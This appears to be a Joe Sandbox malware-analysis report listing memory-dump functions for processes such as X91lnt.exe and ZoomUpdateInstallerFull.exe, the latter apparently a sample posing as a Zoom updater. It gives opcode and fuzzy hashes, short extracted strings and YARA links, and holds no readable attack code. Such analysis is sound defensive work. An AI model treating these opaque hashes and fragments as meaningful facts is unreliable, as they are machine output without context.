Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db61709b5a8356715764c0cedf67c23dd404cc013803c6f55f07892cb334e2e0
Instruction ID: a5a729987b9aedd957e77fe8b9113b6fc766e230cceea6d39cb1ca0f854c7dd7
Opcode Fuzzy Hash: db61709b5a8356715764c0cedf67c23dd404cc013803c6f55f07892cb334e2e0
Instruction Fuzzy Hash: 1B01D651F0EA4A0FFB746BF848356782A91EF98700F5601BAE059C71D7DE2C69428342

Function 00007FFD9B88A785 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92785f7dd16820ac9da182365d07d7d87ca32e98ce1164475ce2d569e95e1c73
Instruction ID: 9763a2aa81c7a7ed7716e0d3fe707b71f08d8732feb8e1e662d037979f2ef0e5
Opcode Fuzzy Hash: 92785f7dd16820ac9da182365d07d7d87ca32e98ce1164475ce2d569e95e1c73
Instruction Fuzzy Hash: BBE08C7585E7CD5FC7135BB058210D57F70FA12200B4A05C7E498CA0A3D6281629C7A2

Function 00007FFD9B889C88 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27b23cea6469e66f43a6f83ac2906cd7bb84fe5fe61667bc0f8d3a9eb9c2723c
Instruction ID: 8079d0c6491a70209ae909e3fa9cef7e4784fd07299eb53fe94808484b9c9c00
Opcode Fuzzy Hash: 27b23cea6469e66f43a6f83ac2906cd7bb84fe5fe61667bc0f8d3a9eb9c2723c
Instruction Fuzzy Hash: 4CB09B08C5B58D05D61532B559720453D105946540F860195DC5485053D55D26988362

Function 00007FFD9B8828B0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2992041976.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b880000_software1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5c0cfe6a58aa169ce152a1a4c842f69df88f0047b81ad56dce278e4a2448b25
Instruction ID: 8d3b4a420dd5dd7431b3b5aea7215f9edd03ec853a0edeaa0de7aec0687251af
Opcode Fuzzy Hash: e5c0cfe6a58aa169ce152a1a4c842f69df88f0047b81ad56dce278e4a2448b25
Instruction Fuzzy Hash: 23A00204DA7C0E02D85832FA1D970A474506F8D514FC61171EC18A0597EC9E57E902A3

Analysis Process: X91lnt.exePID: 7920, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B891249 Relevance: .8, Instructions: 785COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45e4bde66e3cf12d3685385f7fb567ffb8d6c5b51537b7ddeac746a64e07e4b1
Instruction ID: 94d14914228df541443a7d4799b3372b76741a5ba7b8ec5bebd2fcc5c66a108f
Opcode Fuzzy Hash: 45e4bde66e3cf12d3685385f7fb567ffb8d6c5b51537b7ddeac746a64e07e4b1
Instruction Fuzzy Hash: 6D32B861B2DA494FEB98FB6C98657B9B7D2FF98700F440579E01EC32D6DE28A9018341

Function 00007FFD9B891289 Relevance: .6, Instructions: 638COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d5a590f11245f0d433f9d2e38be39069dfa55da917575f68f94909faffe0e99
Instruction ID: 5dc1a8cfa6550ef9bd7a1e20a9d3d194e336d9b92f7f5baf5ce7e4213758ebf3
Opcode Fuzzy Hash: 0d5a590f11245f0d433f9d2e38be39069dfa55da917575f68f94909faffe0e99
Instruction Fuzzy Hash: 2812B661B2DA4A4FEBA8F77894797B8B6D2FF9C700F450579E01EC32D6DD28A9018341

Function 00007FFD9B891095 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

3N_^, xrefs: 00007FFD9B891101

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID: 3N_^
API String ID: 0-137238001
Opcode ID: 197a35f781afcd1dc009d975d1ec5e2d79c8c674f2ff0359f22a041897f8fe33
Instruction ID: 354564d0dc952abb9d615f6ab6d2827b68b628f25ef4dc2198efdba8db75ea2a
Opcode Fuzzy Hash: 197a35f781afcd1dc009d975d1ec5e2d79c8c674f2ff0359f22a041897f8fe33
Instruction Fuzzy Hash: 3B412732F0E65A5FEB15F7A8A8B55E97FB0EF44254B0401BBC059C71E7ED2468468340

Function 00007FFD9B890BFE Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8368e136e77c54479794d3ecd4f2460fd2efbf0689e0b66211b7f4a452fc3d64
Instruction ID: b09aaf7df69eaa7db7e6b001e665547fde7cd323f4538c02c5782821d3d39119
Opcode Fuzzy Hash: 8368e136e77c54479794d3ecd4f2460fd2efbf0689e0b66211b7f4a452fc3d64
Instruction Fuzzy Hash: 31513621B1E68A0FE7AAA77848265797FE1DF8A614B0900FBD09DC71EBDC1C5C468352

Function 00007FFD9B891100 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4216bb1c54510be349e634ec463d9177a424fca69e8580e7b72815a4256a3564
Instruction ID: ef2425882be32d704f4d3236616cd33ccd97cccf136e9dae3f50bf564d7f6ba3
Opcode Fuzzy Hash: 4216bb1c54510be349e634ec463d9177a424fca69e8580e7b72815a4256a3564
Instruction Fuzzy Hash: D131F132A0DA8E1FEB54E7A898B51FDBFB1EF98240F4501BAD009D71E7DE2529068340

Function 00007FFD9B890A91 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbbf4a004303abb72136bc69693d840a12faa4dcbcb2f0bd63874a8991d19bea
Instruction ID: ae0340a594a6a341f130da73949fbe25e4448bd4a5336eee76161935aecd2617
Opcode Fuzzy Hash: cbbf4a004303abb72136bc69693d840a12faa4dcbcb2f0bd63874a8991d19bea
Instruction Fuzzy Hash: 2231C351B29A094FEB98B7BC5C297BD7AD6EF98601F0502BBF01DC32D7EE1869014381

Function 00007FFD9B890949 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18bed71853f3740d0f02a2d047deaf65a908f56245e0b424d721c01345255bc6
Instruction ID: f9999edb06254c52b28878435b3d0b6bf29d8951cbb93d5bf7d03ec5dea88f21
Opcode Fuzzy Hash: 18bed71853f3740d0f02a2d047deaf65a908f56245e0b424d721c01345255bc6
Instruction Fuzzy Hash: 26318170B18A4E8FEB49EBA89865AFDBBB1FF98300F500579D019D32D6DE386941C741

Function 00007FFD9B891C65 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd4c1af634fbcadcd5346ef34c1e492f21c5eb90e43284eebe565baac20b2a3
Instruction ID: 72f1b5a3125a1dd55e9e00f3b78396b3ce977c4256cf29d5774dc9414e53362f
Opcode Fuzzy Hash: 1cd4c1af634fbcadcd5346ef34c1e492f21c5eb90e43284eebe565baac20b2a3
Instruction Fuzzy Hash: 1031A421B1C9494FEB88EB2C986A778B6C2EF9C705F0505BEE05EC32DBDD689C418741

Function 00007FFD9B891BA9 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 372f28c726ff5e8496fba484322b41a927dd6c295c62273d89957212c7864679
Instruction ID: 3087625ceded7db680fa01c456c8174ec071ae628938934863ed984137b6d8cc
Opcode Fuzzy Hash: 372f28c726ff5e8496fba484322b41a927dd6c295c62273d89957212c7864679
Instruction Fuzzy Hash: B321B64959F2C66FDB6363B91C745A26FA88E5316E71D04EBE0E4CA0E7E808051AC353

Function 00007FFD9B891D61 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70cdaa1d2620ba4003aa48c56b9f90bb67f631d3482f4278624a9b997d02ba49
Instruction ID: 7f86bd5a8aa28f7b47eef0aa4fb31d70f2654bbb69a3f76c82740d27cd57bfb5
Opcode Fuzzy Hash: 70cdaa1d2620ba4003aa48c56b9f90bb67f631d3482f4278624a9b997d02ba49
Instruction Fuzzy Hash: 7B017011A0EB990FEB63A73C5C754717FE0DF95740B0906BBD488C71E7DD046A858382

Function 00007FFD9B890528 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2482202823.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b890000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c6c330ef78982ccbe7bc0c5da439e682f1a20baad5288fb11963a0ef82193e2
Instruction ID: 1f7cd6ef5e0e6911ace79823219ea9769c72bfbcadc763ed20b65d4e67aec3f9
Opcode Fuzzy Hash: 0c6c330ef78982ccbe7bc0c5da439e682f1a20baad5288fb11963a0ef82193e2
Instruction Fuzzy Hash: 72E02643B1EC1D2BE9B8629E08AC9B64A8DEBD82D9352017AF42EC22D5DC042C024290

Analysis Process: ZoomUpdateInstallerFull.exePID: 6336, Parent PID: 7624COMMON

Executed Functions

Function 02C67A30 Relevance: 3.9, Strings: 3, Instructions: 189COMMON

Download Yara Rule

Strings

#!, xrefs: 02C67AA6
K6, xrefs: 02C67B52
7, xrefs: 02C67CA3

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: #!$K6$7
API String ID: 0-185628103
Opcode ID: 303888487ef821a10ed7dcdd97e1d3166e800625b4e1fcc2c783b9bb73f95ad8
Instruction ID: 714809c9beb1418ddaebe02cbc8da0872c7b2da45f60a06b238bb5d317f45f80
Opcode Fuzzy Hash: 303888487ef821a10ed7dcdd97e1d3166e800625b4e1fcc2c783b9bb73f95ad8
Instruction Fuzzy Hash: 055192327502015FCB11BA7AD99867EBBE7EBC92143548629E026CB348EF74DD49CBD0

Function 02C67A40 Relevance: 3.9, Strings: 3, Instructions: 183COMMON

Download Yara Rule

Strings

#!, xrefs: 02C67AA6
K6, xrefs: 02C67B52
7, xrefs: 02C67CA3

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: #!$K6$7
API String ID: 0-185628103
Opcode ID: 6049b9aaab516ae65db6729213d6569de5cbc9b136993ddb611bdc447f83468a
Instruction ID: b88af1ebc578a14379c5607e364dce0e5716787e145a55704fcef0b87496e309
Opcode Fuzzy Hash: 6049b9aaab516ae65db6729213d6569de5cbc9b136993ddb611bdc447f83468a
Instruction Fuzzy Hash: 9F5191327502015FCB11BA7AD99863EBAE7EFC92143548629E026CB348EF70DD49CBD0

Function 02C6D540 Relevance: 2.6, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

Hbq, xrefs: 02C6D6A8
(bq, xrefs: 02C6D635

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: e4a393ae42f811aff62a6eea02c5118282cd8380ff6123fb6f3e881f4c07f2a2
Instruction ID: 51dab683e208b494c3c7b9ab6d43da2f5454639ac8837da0d6aeb6edc597d63c
Opcode Fuzzy Hash: e4a393ae42f811aff62a6eea02c5118282cd8380ff6123fb6f3e881f4c07f2a2
Instruction Fuzzy Hash: 0A418D35B002498BCF04AE698598A7EBBE6FFC4354F14896AE80ADB344DF34DD418B95

Function 02C68A98 Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

(bq, xrefs: 02C68ABA

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 4a713506bb95fce66e81cdad814d1c021c0fb7e8de96d4c2d3b415ddb8410cbb
Instruction ID: d8a118fc3d7a042a9d9a2b1195485fc863e99c7255da6a5001ca0a66f697c18c
Opcode Fuzzy Hash: 4a713506bb95fce66e81cdad814d1c021c0fb7e8de96d4c2d3b415ddb8410cbb
Instruction Fuzzy Hash: 23610534B116099FDB14DF68D9D8AAEB7F2FF89314B1081A4E506AB364DB30ED05CB80

Function 02C68A89 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

(bq, xrefs: 02C68ABA

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 17b509b7a7f7e32e1c56dead19a0d821c39aef9e42fef7b33fadd20efe8a290a
Instruction ID: 6b429decf035c590fe4762bc3c7729fc4a62b6986068ba86bbf9f825fb159447
Opcode Fuzzy Hash: 17b509b7a7f7e32e1c56dead19a0d821c39aef9e42fef7b33fadd20efe8a290a
Instruction Fuzzy Hash: 7C318C75B002058FCF14DF68D9D8A6EB7E6EFC8310B108169E906DB369DB30ED058B90

Function 02C6B9B0 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

{Oo^, xrefs: 02C6BAC7

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: {Oo^
API String ID: 0-2743707330
Opcode ID: 563a8180a20358323c3cbfa5740c42081172459cc2112857f988f650704b5aa6
Instruction ID: 2fcbe337cd19e2d4b71df38592a75a605ad107492658875dd95d7a05156a7f86
Opcode Fuzzy Hash: 563a8180a20358323c3cbfa5740c42081172459cc2112857f988f650704b5aa6
Instruction Fuzzy Hash: 9F31EF223802505FCB15B77D99A86BE7BE3DFC6310748816AD055CF359EE60DC498BE1

Function 02C6B9E8 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

{Oo^, xrefs: 02C6BAC7

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: {Oo^
API String ID: 0-2743707330
Opcode ID: 44aef74ad1f662e33d51891560aa422d885c4962486ac3788ef0e0e499768ef5
Instruction ID: 1b12ef9df2c7a4873207245dbeaf963b268f4e8392d264f15dc79414b775651e
Opcode Fuzzy Hash: 44aef74ad1f662e33d51891560aa422d885c4962486ac3788ef0e0e499768ef5
Instruction Fuzzy Hash: 1021BE323802015FCA15F67ADA98A3EBAE7DFC53543448529D026CF348EE70DC4A9BE0

Function 02C6D078 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

(bq, xrefs: 02C6D097

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: c520a8049f0777e3f2bc680e75ee7f44cf86ed8ee3ea7d9e40ff512128c71b46
Instruction ID: a4e4d2bd7c46ebe914b1e5cb41ae82f136150c1fc6dc895b1b29a55073b951a5
Opcode Fuzzy Hash: c520a8049f0777e3f2bc680e75ee7f44cf86ed8ee3ea7d9e40ff512128c71b46
Instruction Fuzzy Hash: E11190393002049FDB14DB69D984B3A77E7EFCC220B158569E45AC7340DF32E8028B90

Function 02C6D088 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

(bq, xrefs: 02C6D097

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 5d66519c11b80e3ff740670ba1144a52a7f6bb70faa023ff6fdab83b89e37e5e
Instruction ID: 33e1cb1a9df67596ef05eaacc9de8c8385d6dc218ee2e5c25f3f8b6a5189cdf2
Opcode Fuzzy Hash: 5d66519c11b80e3ff740670ba1144a52a7f6bb70faa023ff6fdab83b89e37e5e
Instruction Fuzzy Hash: 05118F397002048FDB14DB59D994A3A7BE7EBCC2207158469E55A87340DF32EC018B90

Function 02C6FB13 Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

Te^q, xrefs: 02C6FB2A

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 27c183cbfba10de2b54b4fc8f21041250b9fe1d31fde6e43072b11aa4ab5df1f
Instruction ID: 6322df1103f273db7f0819fa27646c691de73667d594287a97365da36248264c
Opcode Fuzzy Hash: 27c183cbfba10de2b54b4fc8f21041250b9fe1d31fde6e43072b11aa4ab5df1f
Instruction Fuzzy Hash: FDF030327401106BD614DA9A9990E7FAB9BDBC8760F24856AE91ACB354CD21DC068BA0

Function 02C6FB20 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

Te^q, xrefs: 02C6FB2A

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 2ae295832b6777c8b1e69c23e54780581a621fc0c9ef6be5f4d44d587663d24d
Instruction ID: 5df3212c7e8d952b11c7cb2627ccadf170851468953d203640e853de99ac5f5e
Opcode Fuzzy Hash: 2ae295832b6777c8b1e69c23e54780581a621fc0c9ef6be5f4d44d587663d24d
Instruction Fuzzy Hash: 26F082327002146BC614EA9ED890D7BFB9BEFC9760B14842AE90A8B355CD72DC0687E0

Function 02C6BF91 Relevance: 1.3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

Strings

PH^q, xrefs: 02C6BFAD

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: f48a85308f7a9878f279f4ab75ac316e9b124e074784ae335fe3473f3d1e4f62
Instruction ID: bf8f9a9995292ce0ff321ded1157ed7e91bf293d64c07afe2de718288a7b5201
Opcode Fuzzy Hash: f48a85308f7a9878f279f4ab75ac316e9b124e074784ae335fe3473f3d1e4f62
Instruction Fuzzy Hash: A4D02B7290034447CF145E7495883213B95BB42358F240558A4118A2DAF632D4028690

Function 02C6BFA0 Relevance: 1.3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

Strings

PH^q, xrefs: 02C6BFAD

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 9ace9a08bb7ccca0aa5a12726437eadab2bf3a5459c434b0a40b0c8e3efb0030
Instruction ID: d4bfe01cdaf8a73455bd4c19a4a87121d4bc574dfff07757f0efd2bcb38f3bbc
Opcode Fuzzy Hash: 9ace9a08bb7ccca0aa5a12726437eadab2bf3a5459c434b0a40b0c8e3efb0030
Instruction Fuzzy Hash: 3DC012306443488B8E186F7965586367799BB85668B300A58A5258B2D5DB32E8438AA1

Function 02C641E0 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c7079fbb621f98e8a337b9bff523542e77fbf1ad99447324469d05fca8f0ac0
Instruction ID: b75fbe6cfc759eec0858e577ddd660e886b57bf889722f6e7f9c13c9e23f0e68
Opcode Fuzzy Hash: 9c7079fbb621f98e8a337b9bff523542e77fbf1ad99447324469d05fca8f0ac0
Instruction Fuzzy Hash: 65A12A34B402049FCB55EBA9D998A7EBBF3FB88300B148429E51ADB355DF74DD068B80

Function 02C641F0 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c7fb10d6f37486fbb0633e9fbfbf99b1af00af69d148057f685e56cc0fd1766
Instruction ID: a4a44440b6d842d8903fb8cd66a96d270875b5fb4b37fc82e95502585aeef62b
Opcode Fuzzy Hash: 5c7fb10d6f37486fbb0633e9fbfbf99b1af00af69d148057f685e56cc0fd1766
Instruction Fuzzy Hash: 80912A34B402049FCB55EBA9D998A7EBBF3FB88300B148529E51ADB355DF74DC068B80

Function 02C65EE0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1970e606fa46ae8181e1bd8a42a34f8088a86eb464c623b1bf293fd14a934a3
Instruction ID: 8ae582b18c782ab39c3869ebade06d5d648a932fdaa185cf734faa462a5b255b
Opcode Fuzzy Hash: e1970e606fa46ae8181e1bd8a42a34f8088a86eb464c623b1bf293fd14a934a3
Instruction Fuzzy Hash: 3C914D31A003158FCF15DF69D9946AEBBF6EF84350B148669E805AF358EB709D06CF90

Function 02C66E68 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aeb6ebbc83863199b1236b287b00a60b48382eb60899f809d878cd12c539f61
Instruction ID: 6d87fc9e486cdbba1582cd94ea35c1f58e7387e8d5e65f2ac33d3ed42b70a122
Opcode Fuzzy Hash: 8aeb6ebbc83863199b1236b287b00a60b48382eb60899f809d878cd12c539f61
Instruction Fuzzy Hash: 8D617F31B006058FCB04DF69C9845AABBF6FFC9210725856AE40AEB351DF75EC06CBA1

Function 02C664B9 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9045a4e47fbd8d208f0db4ca4992973a7852ac91e2f9d072d8ddbb981253e886
Instruction ID: ab9628a6b8cff660393d072ac1f74a28327ac393ea9395a99901b6e4372a50dc
Opcode Fuzzy Hash: 9045a4e47fbd8d208f0db4ca4992973a7852ac91e2f9d072d8ddbb981253e886
Instruction Fuzzy Hash: FC512D75A10615CFCB44CFA9C88499EBBF6FF89700B254169E505EF321DB71AD05CB50

Function 02C661F0 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d52c0e5c6894b7c1afd2b94ab90037258592d094179949ec9b823f0a37f58ec4
Instruction ID: d33ba19b19378cde8bb4dd831315a0b23b20eb9c6d8edea512dd72d1e73000d7
Opcode Fuzzy Hash: d52c0e5c6894b7c1afd2b94ab90037258592d094179949ec9b823f0a37f58ec4
Instruction Fuzzy Hash: 0E516031E403099FDB05EFB5D844BADBBB2FF88300F108959E115AB354DB75A98ACB90

Function 02C68DA8 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2561682953.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c60000_ZoomUpdateInstallerFull.jbxd

